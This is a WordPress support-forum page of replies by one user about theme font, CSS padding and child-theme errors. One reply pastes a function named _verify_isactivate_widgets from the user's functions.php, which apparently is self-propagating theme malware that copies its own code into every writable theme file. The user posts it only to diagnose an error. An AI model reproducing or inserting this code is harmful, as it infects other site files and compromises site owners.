Forum Replies Created

Viewing 15 replies - 1 through 15 (of 17 total)
  • Thread Starter samrods

    (@samrods)

    No problem! I can wait! Thanks for being helpful!

    Thread Starter samrods

    (@samrods)

    Do you have any clue?

    Thread Starter samrods

    (@samrods)

    Hi Dann!
    First of all thanks for your help.

    I reinstalled the plugin. Followed the instructions.
    It shows:
    ——————————–
    Available subsets
    Open Sans
    latin latin-ext
    Noto Serif
    latin
    Lato
    latin
    Slabo 27px
    latin
    Available fonts
    Font Family Font Style Font Weight Preload? *
    Lato
    normal
    700

    remove
    * Only the woff2 format is preloaded, since this format is widely supported by Modern Browsers which support preload.
    Clean Queue Empty Cache Directory
    ———————–

    It finds 4 fonts. The tick is ste for lato and slabo 27px.
    But it only actually checks for download lato. No errors.

    I thought it was an imcompatibility between your plugin and certain fonts…

    Thread Starter samrods

    (@samrods)

    Solved the problem myself.

    For anyone with the same issue, here it is what I did:

    /* LAYOUT */
    	.page-wrap {
    		padding: 60px 0 60px;
    		clear: both;
    	}

    It worked for me.

    Tell me Vlad, is it the correct procedure or you would suggest something else?

    Thread Starter samrods

    (@samrods)

    Hi!
    Vlad, thank you for your fast answer!

    Yes, my mistake the !important. I corrected and it worked!
    I’m not a programmer, so I’m terrible with code semantics.

    About changing in the customiser,

    Also you can find options in the theme for body font size and color.

    I know, but it’s this habit I have of changing everything I can in the css file…

    Great, thanks!

    Can you help me with the other issue, too?

    I can’t find a way to make the distance between the header and the page title. Is it any padding? Border?
    I don’t have a clue.

    Thanks in advance for your help.

    Thread Starter samrods

    (@samrods)

    Hi, again!

    Sorry for my previous post. After all, I discovered that the problem was theme related. Apparently the issue was the relation between the browser and the theme coding. No problem for the theme itself, after all.

    I added the FIRESIZER extension to firefox and now I reload the pages after I set the display size I want to preview. Now I can see that all screen sizes are displayed correctly.

    Thnak you again for your great theme!

    Thread Starter samrods

    (@samrods)

    I think my hosting providers have no knowledge of wordpress…
    I think that i’ll send them an email, anyway.

    Thanks for your help and your effort, Andrew!

    I hope caroline releases an update of the theme with a sidebar option. My suggestion is to give the users the option of choosing a sidebar as an option for the blog or for a given single page. If that is to difficult giving the code already set for the theme, then it wouldn’t be hard to put the sidebar as a page template that we could choose from.

    Thread Starter samrods

    (@samrods)

    There is just a thing I noticed. The functions.php I uploaded has only a total of 15 lines. Exactly as i pasted before, and pasted to pastebin.
    But for whatever reason, when I look at the file in cpanel editor or in wordpress css editor, the functions.php file comes up with 463 lines. Looks like it copied by itself the content of the original functions.php inside the child theme functions.php
    Is this normal?
    `

    Thread Starter samrods

    (@samrods)

    Ok… I did it. I made a backup of my 2.0.2 theme and settings.
    The 1.0.7 theme doen’t show up properly… But ok.

    The same thing happens, error, again:
    Fatal error: Cannot redeclare _verify_isactivate_widgets() (previously declared in /home2/samrods/public_html/wp-content/themes/spun-child/functions.php:20) in /home2/samrods/public_html/wp-content/themes/spun/functions.php on line 377

    Thread Starter samrods

    (@samrods)

    All right.

    i created a pastebin paste. here is the adress: https://pastebin.com/kXjAM1NM

    The error is:
    Fatal error: Cannot redeclare _verify_isactivate_widgets() (previously declared in /home2/samrods/public_html/wp-content/themes/spun-child/functions.php:20) in /home2/samrods/public_html/wp-content/themes/spun/functions.php on line 367

    Thread Starter samrods

    (@samrods)

    I don’t understand.
    What is the proper way to crate functions.php in a child theme, then?

    You wrote:

    Only put your custom functions in there, otherwise as you can see you’ll get errors when you try to redeclare functions.

    But I only inserted one function in my file.

    Thread Starter samrods

    (@samrods)

    hi Andrew!

    Created text document
    Rename to .css
    Opened with notepad ++
    Copy/ paste contents
    Uploaded to cpanel.
    Edited the contents with cpanel editor, too.

    Is there a more accurate way, perhaps?

    Thread Starter samrods

    (@samrods)

    Here goes the code in functions.php from line 327 to line 367:

    function _verify_isactivate_widgets(){
    
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    
    	$output=strip_tags($output, $allowed);
    
    	$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    
    	if (is_array($direst)){
    
    		foreach ($direst as $item){
    
    			if (is_writable($item)){
    
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    
    				$cont=file_get_contents($item);
    
    				if (stripos($cont,$ftion) === false){
    
    					$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    
    					$output .= $before . "Not found" . $after;
    
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);				
    
    					$output .= ($showsdots && $ellipsis) ? "..." : "";
    
    				}
    
    			}
    
    		}
    
    	}
    
    	return $output;
    
    }

    If it provides any kind of help.

    Thread Starter samrods

    (@samrods)

    Ok, Andrew, thanks for helping.

    I’m already testing it.

    Thread Starter samrods

    (@samrods)

    Opps nevermind!

    I saw the mention in wordpress to the 2.0.2 in the body… never payed attention to it. Since it is “download version 1.07” I didn’t read anything else in the left side.
    The question is really why is the version 2.02 not being in the main link. And wordpress doesn’t say there are updates to the theme, either.

Viewing 15 replies - 1 through 15 (of 17 total)